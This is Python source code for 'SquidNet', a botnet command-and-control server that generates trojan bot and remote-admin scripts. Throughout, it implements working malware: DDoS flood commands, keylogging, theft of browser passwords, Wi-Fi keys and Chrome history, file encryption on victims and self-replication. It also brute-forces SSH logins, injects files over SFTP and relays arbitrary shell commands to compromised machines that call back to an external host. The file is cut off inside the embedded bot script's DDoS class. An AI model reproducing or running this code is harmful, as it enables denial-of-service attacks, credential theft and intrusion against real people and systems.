print("[+] !help - Displays all of the commands.")
print("[+] !whatsnew - Displays all new features.")
print("[+] !getconninfo - Displays info about all of the connections.")
print(
"[+] !genadminscript - Generates the admin script for remote connections to this server.")
print(
"[+] !genscript - Generates the bot python script needed to connect to this server.")
print("[+] !clear - Clears the output.")
print(
"[+] !togglelisten - Toggles whether to stop accepting connections or start accepting them.")
print("[+] !kick [hostname] [srcport] - Kicks a client off of the Botnet.")
print("\n[+] Commands for TCP Botnet:\n")
print("[+] !httpflood [website] [delay] - Denial Of Services the website provided.")
print("[+] !tcpflood [ip] [port] [delay] [size] - Floods the target with TCP Packets.")
print("[+] !udpflood [ip] [port] [delay] [size] - Floods the target with UDP Packets.")
print("[+] !openfile [filename] - Opens a file in the bot working directory.")
print("[+] !changedir [dir] - Changes the working directory of the Bot.")
print("[+] !rmdir [folder] - Removes a folder in the bot working directory.")
print("[+] !rmfile [file] - Removes a file in the bot working directory.")
print("[+] !encfile [file] - Encrypts a provided file in the bot working directory")
print("[+] !decfile [file] - Decrypts a provided file in the bot working directory")
print("[+] !viewfilecontent [file] - Gets the content of the files provided.")
print("[+] !dwnldfile [src] [file] - Downloads a file from the internet onto the bot computer.")
print("[+] !mkdir [dir] - Makes a folder in the bot current directory.")
print("[+] !gotowebsite [url] - Takes the bot to the provided website.")
print("[+] !mkfile [filename] - Creates a file in the bot working directory.")
print("[+] !editfile [file] - Opens a file in writing mode for the bots.")
print("[+] !stopedit - Closes file editor on bots and returns to normal.")
print(
"[+] !keylog [display?] - Sets up keylogging on the bots(put True in 2nd arg to display it, put nothing to not).")
print("[+] !stopkeylog - Stops any keylogging on the Botnet.")
print("[+] !encdir - Encrypts all files in the bot working directory")
print("[+] !decdir - Decrypts all files in the bot working directory")
print("[+] !botcount - Gets the amount of connected bots.")
print("[+] !stopatk - Stops any ongoing DDoS Attacks in the Botnet.")
print("[+] !changedirdesktop - Sets the bot working directory to their Desktop.")
print("[+] !listdir - Lists the files in the bot working directories.")
print("[+] !resettoken - Resets the token and changes it to a new token")
print("[+] !getinfo - Gets the OS, cwd, IP, and username of the bots.")
print("[+] !getip - Gets the IP of the bots")
print(
"[+] !getwifi - Obtains the wifi names and passwords of the bots(Windows only).")
print("[+] !savefile - Obtains a file from the bots directory.")
print("[+] !getcwd - Gets the bots working directory.")
print("[+] !getos - Gets the OS Of the bots.")
print("[+] !getpasswords - Gets the stored browser passwords of the bots(Windows only).")
print("[+] !rickroll - Rick Rolls the Bots.")
print("[+] !cloneself - Self replicates the Bot scripts in the bots.")
print(
"[+] !getchromehistory - Check the bots chrome history(Hehehe....)(it will save in an external file).")
print("\n[+] Commands for SSH Botnet:\n")
print("[+] !infect [ip] [user] - Brute forces login for the provided ip and username.")
print("[+] !inject [file] - Opens FTP and injects a file into an infected host.")
print("[+] !sshlogin [ip] [user] [pass] - Logs in the ip with the provided username and password.")
print("[+] !listsshbots - Lists all SSH Bots.")
print("\n[+] Any other commands will be made into cmd commands.\n")
def listen(self):
"""This function listens for connections from admins and bots alike.
The first message recieved will be interpreted as the name of the device
and it will displayed for the Admins to see. A thread is created for the
handling of the connection. If variable 'self.listenforconn' is False, then
the server will not listen for connections."""
while True:
try:
if self.listenforconn:
flag = 0
self.serv.listen(1)
c, ip = self.serv.accept()
if not self.listenforconn:
c.close()
else:
msg = c.recv(1024).decode().strip()
self.bot_count += 1
split_msg = msg.split()
hostname = split_msg[0]
try:
ipaddr = str(split_msg[1])
except:
ipaddr = "Unknown"
try:
user = str(split_msg[2])
except:
user = "Unknown"
try:
connection = str(ip[1])
except:
connection = "Unknown"
try:
opsys = split_msg[3]
except:
opsys = "Unknown"
self.connportlist.append(hostname + " " + str(ip[1]) + " " + str(c))
self.log(f"""
[({hostname})---->(SERVER)]:
[+] HOSTNAME: {hostname}
[+] IPADDR : {ipaddr}
[+] USERNAME: {user}
[+] CONN : {connection}
[+] OS : {opsys}""")
info = str(hostname + " " + ipaddr + " " + user + " " + connection + " " + opsys)
self.info.append(info)
print(f"\n[!] {hostname} has connected to the botnet.")
self.log(f"\n[(CONNECTION)]: {hostname} has connected to the botnet.")
handle = threading.Thread(target=self.handler, args=(c, hostname, self.bot_count, info))
handle.start()
else:
pass
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
def log(self, msg):
"""Logs server output."""
try:
self.serverlog = open(self.logfile, 'r')
contents = self.serverlog.read()
self.serverlog.close()
self.serverlog = open(self.logfile, 'w')
self.serverlog.write(contents)
self.serverlog.write(msg)
self.serverlog.close()
except FileNotFoundError:
self.serverlog = open(self.logfile, "w")
self.serverlog.write(msg)
self.serverlog.close()
except:
self.serverlog = open(self.logfile, 'rb')
contents = self.serverlog.read()
self.serverlog.close()
self.serverlog = open(self.logfile, 'wb')
self.serverlog.write(contents)
self.serverlog.write(msg)
self.serverlog.close()
def wrap_item(self, word, size):
"""Wraps the items from the conn-list and aligns it in the table."""
item = word
while len(item) + 2 <= size - 1:
item += " "
return item
def gen_conntable(self):
"""Generates the connection table with info about each connection.
This is similar to the information displayed in the Web-Interface."""
result = """
Regular Connections:
______________________________________________________________________________________
| | | | | |
| Hostname | IP Address | Username | Connection | OS |
|_______________________|__________________|______________|______________|___________|"""
for info in self.info:
split_info = info.split()
result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}| {self.wrap_item(split_info[3], 15)}| {self.wrap_item(split_info[4], 12)}|"
result += "\n|_______________________|__________________|______________|______________|___________|"
result += """
Admin Connections:
______________________________________________________________________________________
| | | | | |
| Hostname | IP Address | Username | Connection | OS |
|_______________________|__________________|______________|______________|___________|"""
for info in self.admininfo:
split_info = info.split()
result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}| {self.wrap_item(split_info[3], 15)}| {self.wrap_item(split_info[4], 12)}|"
result += "\n|_______________________|__________________|______________|______________|___________|"
result += """
SSH Connections:
________________________________________________________
| | | |
| Hostname | IP Address | Password |
|_______________________|_______________|______________|"""
for info in self.ssh_info:
split_info = info.split()
result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}|"
result += "\n|_______________________|_______________|______________|\n"
return result
def handler(self, c, hostname, number, info):
"""Function recieves packets from the connections. This is needed for clients
to send packets to the botnet so the Admin can see what the Bots are sending.
This is needed also for password grabbing and information obtaining. This
function is also important for admin connections as they need to send and
recieve packets. It also handles the connections, and keeps them alive."""
admin = False
isbot = False
while True:
try:
msg = c.recv(65500)
if self.savefile or self.obtaininghistory:
pass
else:
try:
msg = msg.decode()
except Exception as e:
msg = str(msg)
self.log(f"\n[(ERROR)]: {str(e)}")
if not isbot:
if msg == "!CLIENTLOG":
isbot = True
msgtoadmin = f"[(SERVER)]: {hostname} is recognized as part of the Botnet."
self.log("\n" + msgtoadmin)
print(f"[!] {hostname} is recognized as part of the Botnet.")
for adm in self.admin_conn:
try:
adm.send(msgtoadmin.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
self.conn_list.append(c)
else:
print(f"[!] WARNING: {hostname} IS NOT PART OF THE BOTNET.\n[!] Closing Connection.....")
c.close()
break
if isbot:
if not admin:
if str(type(msg)) == "str":
if msg.startswith('!login'):
msg_split = msg.split()
name = msg_split[1]
passw = msg_split[2]
try:
passw = passw.encode()
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
hashed_passw = hashlib.sha256(passw).hexdigest()
if hashed_passw == self.admin_password and name == self.admin_name:
try:
admin = True
print(f"[!] {hostname} is an Admin!")
hostname = f"ADMIN)({hostname}"
msgtoadmin = f"[(SERVER)]: {hostname} is an Admin!"
self.log("\n" + msgtoadmin)
for admi in self.admin_conn:
try:
admi.send(msgtoadmin.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
self.admin_conn.append(c)
try:
c.send(self.welcomemsg.encode())
except:
pass
self.log(f"\n[(SERVER)---->({hostname})]: Sent welcome message.")
self.admininfo.append(info)
except:
pass
else:
c.send("Access Denied!".encode())
msgtoall = f"[(ATTEMPTEDBREACHWARNING)]: {hostname} attempted to login to the botnet with incorrect credentials!\n[(ATTEMPTEDBREACHWARNING)]: Closing Connection...."
self.log("\n" + msgtoall)
print(msgtoall)
for admins in self.admin_conn:
try:
admins.send(msgtoall.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
c.close()
break
elif msg.startswith("!sendkey"):
msg_split = msg.split()
del msg_split[0]
main_msg = ""
for i in msg_split:
main_msg = main_msg + " " + i
main_msg = main_msg.strip()
logthis = f"[({hostname})]: {main_msg}"
if self.displaykeys:
print(logthis)
if self.obtaininghistory:
try:
if msg.decode().strip() == "":
pass
else:
self.historyfile.write(f"\n[({hostname})]: ".encode() + msg)
except:
self.historyfile.write(f"\n[({hostname})]: ".encode() + msg)
if admin:
if msg.startswith('!httpflood'):
msgtobot = msg.split()
try:
targ_website = msgtobot[1]
atk_delay = msgtobot[2]
servmsg = f"[({hostname})]: Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.\n"
self.log("\n" + servmsg)
print(servmsg)
c.send(
f"Successfully started an HTTP Flood Attack on {targ_website} wth a delay of {atk_delay}".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Successfully started an HTTP Flood Attack on {targ_website} wth a delay of {atk_delay}")
except:
msg = "help"
c.send("Invalid Parameters!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Invalid Parameters!")
elif msg.startswith('!tcpflood'):
msgtobot = msg.split()
try:
target = msgtobot[1]
servmsg = f"[({hostname})]: Beginning TCP Flood Attack on {target}.\n"
self.log("\n" + servmsg)
print(servmsg)
c.send(
f"Successfully started a TCP Flood Attack on {target}".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Successfully started a TCP Flood Attack on {target}")
except:
msg = "help"
c.send("Invalid Parameters!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Invalid Parameters!")
elif msg.startswith("!getchromehistory"):
try:
file = open("BotsHistory.txt", "rb").read()
if len(str(file)) == 0:
c.send(
"[(SERVER)]: Unable to send Bots history from the bots(Needs to be obtained on the server-side).".encode())
else:
c.send("[(SERVER)]:".encode() + file)
except:
c.send(
"[(SERVER)]: Unable to send Bots history from the bots(Needs to be obtained on the server-side).".encode())
elif msg.startswith('!udpflood'):
msgtobot = msg.split()
try:
target = msgtobot[1]
servmsg = f"[({hostname})]: Beginning UDP Flood Attack on {target}.\n"
self.log("\n" + servmsg)
print(servmsg)
c.send(
f"Successfully started a UDP Flood Attack on {target}".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Successfully started a UDP Flood Attack on {target}")
except:
msg = "help"
c.send("Invalid Parameters!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Invalid Parameters!")
elif msg.startswith('!help'):
c.send(self.welcomemsg.encode())
elif msg.startswith("!infect"):
if self.passfile != False:
msg_split = msg.split()
ip = msg_split[1]
username = msg_split[2]
bruteforcer = threading.Thread(target=self.ssh_infect, args=(ip, username))
bruteforcer.start()
else:
c.send(
"[(SERVER)]: Botnet is configured without ssh bruteforcing. Cannot bruteforce!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Botnet is configured without ssh bruteforcing. Cannot bruteforce!")
elif msg.startswith("!keylog"):
msg_split = msg.split()
try:
self.displaykeys = bool(msg_split[1])
except:
self.displaykeys = False
self.log("\n[(SERVER)]: Started Keylogging on the bots.")
c.send(
f"[(SERVER)]: Set displaying Key-inputs to the server to: {self.displaykeys}".encode())
elif msg.startswith("!stopkeylog"):
self.log("\n[(SERVER)]: Stopped Keylogging on the bots.")
elif msg.startswith("!sshlogin"):
msg_split = msg.split()
ip = msg_split[1]
username = msg_split[2]
password = msg_split[3]
login = threading.Thread(target=self.ssh_login, args=(ip, username, password))
login.start()
elif msg.startswith("!getconninfo"):
c.send(str("[(SERVER)]:\n" + self.gen_conntable()).encode())
self.log(f"\n[(SERVER)---->({hostname})]:\n{self.gen_conntable()}")
elif msg.startswith("!inject"):
msg_split = msg.split()
file = msg_split[1]
for bot in self.ssh_bots:
self.ssh_inject(bot, file)
elif msg.startswith("!listsshbots"):
c.send(f"[(SERVER)]: Connected SSH Bots: {self.display_bots}".encode())
self.log(f"\n[(SERVER)---->({hostname})]: Connected SSH Bots: {self.display_bots}")
if "!login" in msg.strip() or "!help" in msg.strip() or "!getconninfo" in msg.strip() or "!listsshbots" in msg.strip() or "!getchromehistory" in msg.strip() or self.obtaininghistory:
pass
else:
if len(self.ssh_bots) != 0:
sendtossh = threading.Thread(target=self.send_ssh, args=(msg,))
sendtossh.start()
for connect in self.conn_list:
if connect in self.admin_conn:
pass
else:
try:
connect.send(msg.encode())
except:
connect.send(msg)
if msg == "" or msg == " ":
pass
else:
if self.savefile:
try:
if msg.decode() == "finished":
savefile = False
except:
pass
filenames = f"{number}{self.botfile}"
file_created = False
try:
file = open(filenames, 'rb')
file_content = file.read()
file_created = True
except:
file = open(filenames, 'wb')
file.write(msg)
file_content = msg
file.close()
file_created = True
if file_created:
file = open(filenames, 'wb')
try:
file.write(file_content.encode())
except:
file.write(file_content)
try:
file.write(msg.encode())
except:
file.write(msg)
file.close()
filemsg = f"\n[({hostname})]: Saved contents of {self.botfile} into {filenames}"
print(filemsg)
self.log(filemsg)
file_created = False
elif not self.savefile:
try:
if not self.obtaininghistory:
msgtoadmin = f"[({hostname})]: {msg.strip()}"
self.log("\n" + msgtoadmin)
if not msg.startswith("!sendkey"):
print("\n" + msgtoadmin)
except Exception as e:
self.log(f"\n[(ERROR)]: {e}")
for adminconn in self.admin_conn:
try:
if c == adminconn:
pass
else:
adminconn.send(msgtoadmin.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: Unable to send msg to: {adminconn}.")
except Exception as e:
if "a bytes-like object is required, not 'str'" in str(
e) or "An operation was attempted on something that is not a socket" in str(
e) or "startswith first arg must be bytes or a tuple of bytes, not str" in str(e):
self.log(f"\n[(ERROR)]: Ignoring Error {e} in {hostname}")
else:
self.log(
f"\n[(ERROR)]: {hostname} seems defective(Error: {e}).\n[(CLOSECONN)]: Closing connection....")
print(f"\n[!] {hostname} seems defective.\n[!] Closing connection....\n")
c.close()
break
def ssh_login(self, ip, username, password):
"""Does regular logging in with SSH into the provided ip and username. There is no
brute-forcing since a password arguement has be passed, and that the brute-force text
file is not used."""
print(f"[+] Attempting to login to {username}@{ip}\n[+] With password: {password}")
msgtoadmin = f"[(SERVER)]: Attempting to login to {username}@{ip}\n[(SERVER)]: With password: {password}"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, 22, username, password)
self.ips.append(ip)
self.display_bots.append(f"{username}@{ip}")
self.ssh_bots.append(client)
self.ssh_info.append(str(username) + " " + str(ip) + " " + str(password))
self.ssh_botlist.append(str(client) + ' ' + str(username))
msgtoadmin = f"[(SERVER)]: {ip}'s Password has been found!: {password}\n[(SERVER)] Adding {username}@{ip} to the botnet.\n"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
print(
f"\n[!] Successfully logged into {username}@{ip} with {password}!\n[!] Adding {username}@{ip} to the botnet.\n")
except Exception as e:
print(f"[+] Unable to login to {ip}@{username}\n[+] Try using different credentials.")
msgtoadmin = f"[(SERVER)]: Unable to log into {username}@{ip} due to: {e}"
self.log("\n" + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
def ssh_infect(self, ip, username):
"""Attempts to brute force the ip and username with the password list provided
from the txt file specified in the __init__ function."""
print(f"[+] Brute Forcing the Password for: {username}@{ip}\n")
msgtoadmin = f"[(SERVER)]: Brute Forcing the Password for: {username}@{ip}\n"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
flag = 0
for password in self.passwords:
try:
if flag == 1:
break
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
passw = password.strip()
client.connect(ip, 22, username, passw, timeout=2, auth_timeout=2)
self.ips.append(ip)
self.display_bots.append(f"{username}@{ip}")
self.ssh_bots.append(client)
self.ssh_info.append(str(username) + " " + str(ip) + " " + str(passw))
self.ssh_botlist.append(str(client) + ' ' + str(username))
msgtoadmin = f"[(SERVER)]: {ip}'s Password has been found!: {passw}\n[(SERVER)] Adding {username}@{ip} to the botnet.\n"
self.log('\n' + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
print(f"\n[!] {ip}'s Password has been found!: {passw}\n[!] Adding {username}@{ip} to the botnet.\n")
flag = 1
break
except:
client.close()
if flag == 0:
msgtoadmin = f"[(SERVER)]: Unable to Brute Force password for {username}@{ip}"
self.log("\n" + msgtoadmin)
for admin in self.admin_conn:
try:
admin.send(msgtoadmin.encode())
except:
pass
print(f"\n[?] Unable to Brute Force password for {username}@{ip}")
def send_ssh(self, instruction):
"""Sends instructions to the SSH-Bots. The output will also be sent
back to the Server for the admins to see."""
try:
for bot in self.ssh_bots:
for usernames in self.ssh_botlist:
if str(bot) in usernames:
split_item = usernames.split()
username = split_item[4]
try:
stdin, stdout, stderr = bot.exec_command(instruction, get_pty=True)
stdin.close()
output = stdout.read().decode()
if output.strip() == "":
pass
else:
msgtoclient = f"\n[({username})]: {output.strip()}"
self.log(msgtoclient)
print(msgtoclient)
for admin in self.admin_conn:
try:
admin.send(msgtoclient.encode())
except:
self.log(f"[(ERROR)]: Unable to send message to {admin}.")
except:
bot.close()
except:
pass
def ssh_inject(self, client, file):
"""This function Opens up SFTP(Secure File Transfer Protocol) and
sends a file to the SSH-Bots, where they can be opened up on command."""
try:
if "/" in file or "\\" in file:
result = ""
for letter in file:
if letter == "/" or letter == "\\":
result += " "
else:
result += letter
split_result = result.split()
file = split_result[(len(split_result) - 1)]
file_dir = ""
for item in split_result:
if item == file:
pass
else:
file_dir = file_dir + item + "/"
os.chdir(file_dir)
for usernames in self.ssh_botlist:
if str(client) in usernames:
split_item = usernames.split()
username = split_item[4]
try:
sftp = client.open_sftp()
sftp.put(file, f'C:/{username}/{file}')
except:
sftp = client.open_sftp()
sftp.put(file, f'/Users/{username}/{file}')
os.chdir(self.cwd)
except:
pass
def reset_historyvar(self):
"""Resets the 'self.obtaininghistory' variable to false,
so that the bot messages would return to normal."""
time.sleep(10)
self.obtaininghistory = False
self.historyfile.close()
print("\n[+] You are now able to freely send messages to the bots.")
def instruct(self):
"""Server-Side Sending intructions to the bots. This is so that the Server
can also send packets to the Bots which they can send info back to the Server
and admins."""
self.savefile = False
while True:
try:
self.instruction = input("[+] Enter instruction to the bots: ")
if self.instruction == "!botcount":
print(f"[+] Current Connected Bots: {self.bot_count}\n")
elif self.instruction == "!clear":
if sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
self.logo()
self.usage()
elif self.instruction.startswith('!savefile'):
instruction_split = self.instruction.split()
self.botfile = instruction_split[1]
self.savefile = True
print("[+] Savefile commenced")
elif self.instruction.startswith("!genadminscript"):
filename = "SquidNetMaster.py"
contents = self.gen_admin()
file = open(filename, 'w')
file.write(contents)
file.close()
print(f"[+] File '{filename}' has been generated in dir '{os.getcwd()}'\n")
self.log(f"\n[(FILECREATION)]: File '{filename}' has been generated in dir '{os.getcwd()}'\n")
elif self.instruction.startswith("!httpflood"):
msgtobot = self.instruction.split()
try:
targ_website = msgtobot[1]
atk_delay = msgtobot[2]
print(f"[+] Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.\n")
except:
self.instruction = "help"
print("[+] Invalid Parameters!\n")
elif self.instruction.startswith("!getchromehistory"):
self.obtaininghistory = True
print(
"[+] Obtaining Bot Chrome history. It is highly suggested you do not give any commands at the moment.")
print("[+] Please wait 10 seconds before doing anything.")
self.historyfile = open("BotsHistory.txt", "wb")
print("[+] File with Bot Chrome History: BotsHistory.txt")
resetter = threading.Thread(target=self.reset_historyvar)
resetter.start()
elif self.instruction.startswith("!tcpflood"):
msgtobot = self.instruction.split()
try:
target = msgtobot[1]
print(f"[+] Beginning TCP Flood Attack on {target}.\n")
except:
self.instruction = "help"
print("[+] Invalid Parameters!\n")
elif self.instruction.startswith("!udpflood"):
msgtobot = self.instruction.split()
try:
target = msgtobot[1]
print(f"[+] Beginning UDP Flood Attack on {target}.\n")
except:
self.instruction = "help"
print("[+] Invalid Parameters!\n")
elif self.instruction == "!resettoken":
self.key = Fernet.generate_key()
with open('token.txt', 'w') as tokenfile:
tokenfile.write(str(self.key))
tokenfile.close()
print(
f"[+] The token has been reset to: {str(self.key)}\n[+] Note that you should regenerate a script to have the same token as the one in this script.\n")
self.log(f"\n[(TOKENRESET)]: Encryption key changed to: {str(self.key)}")
elif self.instruction == "!genscript":
filename = 'SquidNetBot.py'
file = open(filename, 'w')
contents = self.bot_script()
file.write(contents)
file.close()
print(f"[+] File '{filename}' has been generated in dir '{os.getcwd()}'\n")
self.log(f"\n[(FILECREATION)]: File '{filename}' has been generated in dir '{os.getcwd()}'\n")
elif self.instruction == "!stopatk":
print("[+] Attempting to stop all DDoS Attacks in the botnet.\n")
self.log("\n[(STOPATK)]: Attempting to stop all DDoS Attacks in the botnet.\n")
elif self.instruction == "!help":
self.usage()
elif self.instruction.startswith("!infect"):
if self.passfile != False:
instruction_split = self.instruction.split()
ip = instruction_split[1]
username = instruction_split[2]
brute_force = threading.Thread(target=self.ssh_infect, args=(ip, username))
brute_force.start()
else:
print("[+] Unable to bruteforce. Configure a password file to do so.\n")
elif self.instruction.startswith("!inject"):
msg_split = self.instruction.split()
filename = msg_split[1]
self.log(f"\n[(SERVER)]: Infecting all SSH Bots with {filename}")
for bot in self.ssh_bots:
injector = threading.Thread(target=self.ssh_inject, args=(bot, filename))
injector.start()
elif self.instruction.startswith("!listsshbots"):
print(f"[+] Connected SSH Bots: {self.display_bots}")
elif self.instruction.startswith("!keylog"):
msg_split = self.instruction.split()
try:
self.displaykeys = bool(msg_split[1])
except:
self.displaykeys = False
print(f"[+] Setting Display key-inputs to output to: {self.displaykeys}.")
self.log("\n[(SERVER)]: Started Keylogging on the bots.")
elif self.instruction.startswith("!stopkeylog"):
self.log("\n[(SERVER)]: Stopped Keylogging on the bots.")
elif self.instruction.startswith("!sshlogin"):
msg_split = self.instruction.split()
ip = msg_split[1]
username = msg_split[2]
password = msg_split[3]
self.ssh_login(ip, username, password)
elif self.instruction.startswith("!getconninfo"):
print(self.gen_conntable())
self.log(f"[(SERVER)]: Displayed Conn Table for Server.\n{self.gen_conntable()}")
elif self.instruction.startswith("!editfile"):
msg_split = self.instruction.split()
filename = msg_split[1]
print(f"[+] Attempting to open file editor for file {filename} on the bots.")
self.log(f"\n[(SERVER)]: Attempting to open file editor for file {filename} on the bots.")
elif self.instruction.startswith("!togglelisten"):
if self.listenforconn == True:
print("[+] Stopped listening for connections.\n")
self.log("\n[(SERVER)]: Stopped listening for connections.")
self.listenforconn = False
else:
print("[+] Restarted listening for connections.\n")
self.log("\n[(SERVER)]: Started to listen for connections.")
self.listenforconn = True
elif self.instruction.startswith("!kick"):
msg_split = self.instruction.split()
host = msg_split[1]
port = msg_split[2]
conntokick = ""
for i in self.connportlist:
if host + "" in i and port + " " in i:
conntokick = i
break
if conntokick == "":
print("\n[+] Hostname or port is not registered in the botnet.")
self.log(
f"\n[(SERVER)]: Attempted to kick {host} from source port {port} but it did not exist.")
else:
for conn in self.conn_list:
if str(conn) in conntokick:
print(f"\n[+] Successfully kicked {host}.")
self.log(f"\n[(SERVER)]: Kicked {host} at source port: {port}")
conn.close()
break
elif self.instruction.startswith("!whatsnew"):
print("""
[+] New Features In the SquidNet:
[+] - Added Web-Interface(http://127.0.0.1:8080)!
[+] - Fixed Variable bug in regular SSH Login Function(passw-->password)
[+] - Optimized the code.
[+] - Fixed web-interface server slowing down Botnet.
[+] - Fixed NotSamePassException Errors.
[+] - Fixed Error in self.send_ssh that would flood output with errors.
[+] - Fixed Error in Stopping DDoS Attacks(tried to call a bool object and not function).
[+] - Made password list optional(however brute forcing cannot happen).
[+] - Added '!cloneself' Command.
[+] - Fixed more errors on the admins being kicked without reason.
[+] - Upgraded reverse shell messages.
[+] - Added '!getconninfo' Command.
[+] - Made it so that '!clear', '!genscript' and '!genadminscript' are not sent to the clients.
[+] - Fixed typos.
[+] - Added '!kick' and '!togglelisten'
[+] - Added Keylogging to the bots.
[+] - Added display message when there is an error with binding the server.
[+] - Fixed bug that kicks bots when wanting to view content from a file remotely or when sending bytes.
[+] - Improved Logging Function.
[+] - Replace '--nH' and '--nP' arguements with '--eH' and '--eP'(external-host and port).
[+] - Replaced some text in the help message.
[+] - Made default admin password a random integer, rather than 'root'.
[+] - Removed unnessecary modules.
[+] - Chrome history obtaining is now possible on the bots ;).
[+] - Changed hashing algorithim to sha256.
""")
if "!clear" in self.instruction.strip() or "!genscript" in self.instruction.strip() or "!genadminscript".strip() in self.instruction.strip() or "!whatsnew" in self.instruction.strip() or "!getconninfo" in self.instruction.strip() or "listsshbots" in self.instruction.strip() or "!togglelisten" in self.instruction.strip():
pass
else:
if len(self.ssh_bots) != 0:
sendtossh = threading.Thread(target=self.send_ssh, args=(self.instruction,))
sendtossh.start()
self.log(f"\n[(SERVER)---->(ADMINS)]: Sent '{self.instruction}' to the bots.")
for conn in self.conn_list:
try:
if conn in self.admin_conn:
conn.send(f"[(SERVER)]: Sent '{self.instruction}' to the bots.".encode())
else:
conn.send(self.instruction.encode())
except:
self.log(f"\n[(ERROR)]: Unable to send message to {conn}.")
self.log(f"\n[(SERVER)]: {self.instruction}")
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
def gen_admin(self):
"""Generates the admin for remote admin connections to the BotNet."""
script = """
import socket, threading, os, time, urllib.request, sys
class BotMaster:
def __init__(self, ip, port, name, admin_password):
self.ip = ip
self.port = port
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((self.ip, self.port))
msg = str(socket.gethostname() + " " + self.getip() + " " + os.getlogin()+" "+sys.platform).encode()
self.client.send(msg)
self.name = name
self.admin_password = admin_password
time.sleep(1)
self.client.send("!CLIENTLOG".encode())
time.sleep(1)
self.client.send(f"!login {self.name} {self.admin_password}".encode())
self.logo()
print("\\n[+] Successfully logged into the Botnet!")
print("[+] You are able to access the Botnet and also give commands to all of the connected bots!")
print("")
self.reciever = threading.Thread(target=self.recv)
self.reciever.start()
self.sender = threading.Thread(target=self.send)
self.sender.start()
def logo(self):
print('''
_____ _ _ __ __ _
/ ____| (_) | | \/ | | |
| (___ __ _ _ _ _ __| | \ / | __ _ ___| |_ ___ _ __
\___ \ / _` | | | | |/ _` | |\/| |/ _` / __| __/ _ \ '__|
____) | (_| | |_| | | (_| | | | | (_| \__ \ || __/ |
|_____/ \__, |\__,_|_|\__,_|_| |_|\__,_|___/\__\___|_|
| |
|_|
SquidNet Admin Script By DrSquid''')
def getip(self):
try:
url = 'https://httpbin.org/ip'
req = urllib.request.Request(url)
result = urllib.request.urlopen(req)
try:
result = result.read().decode()
except:
result = result.read()
contents = result.split()
ip = contents[2].strip('"')
return ip
except:
pass
def send(self):
while True:
try:
msg = input("[(ADMIN)]: ")
self.client.send(msg.encode())
except:
print("[+] There may be a server error. Try to relogin to the botnet.")
def recv(self):
while True:
try:
msg = self.client.recv(65500).decode()
if msg == "":
pass
else:
print('\\n' + msg)
except:
print("\\n[+] Possible Server Error! Try to re-login to the Botnet!")
print("[+] If this is a re-occuring message, contact the Server Owner.")
print("\\n[+] Attempting to re-connect to the server.")
while True:
try:
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((self.ip, self.port))
msg = str(
socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform).encode()
self.client.send(msg)
time.sleep(1)
self.client.send("!CLIENTLOG".encode())
time.sleep(1)
self.client.send(f"!login {self.name} {self.admin_password}".encode())
print("[+] Successfully Logged Back Into the botnet.")
break
except:
pass
admin = BotMaster('""" + self.ngroklink + """',""" + str(
self.ngrokport) + """,'""" + self.admin_name + """','""" + self.passw + """')
"""
return script
def bot_script(self):
"""Generates the Bot Trojan Script needed to connect to this server and run commands from it.
Test it and see what it does! It will respond to all commands, and it will do either any of
the in-built commands or run any other instructions with command prompt/terminal."""
script = """
#-----SquidNet-Bot-Script-----#
import socket, time, os, threading, urllib.request, shutil, sys, random, base64, sqlite3, json, subprocess, re, shutil, ctypes
from datetime import datetime, timedelta
try:
from pynput.keyboard import Listener # pip install pynput
except:
pass
try:
import win32crypt # pip install pypiwin32
except:
pass
try:
from cryptography.fernet import Fernet # pip install cryptography
except:
pass
try:
from Crypto.Cipher import AES # pip install pycryptodome
except:
pass
class DDoS:
def __init__(self, ip, delay):
self.ip = ip
self.delay = delay
self.stopatk = False
self.useragents = self.obtain_user_agents()
self.referers = self.obtain_referers()
self.threader = threading.Thread(target=self.start_thr)
self.threader.start()
def obtain_referers(self):
referers = ['http://www.google.com/?q=', 'http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..',
'http://vk.com/profile.php?redirect=', 'http://www.usatoday.com/search/results?q=',
'http://engadget.search.aol.com/search?q=query?=query=..',
'https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882',
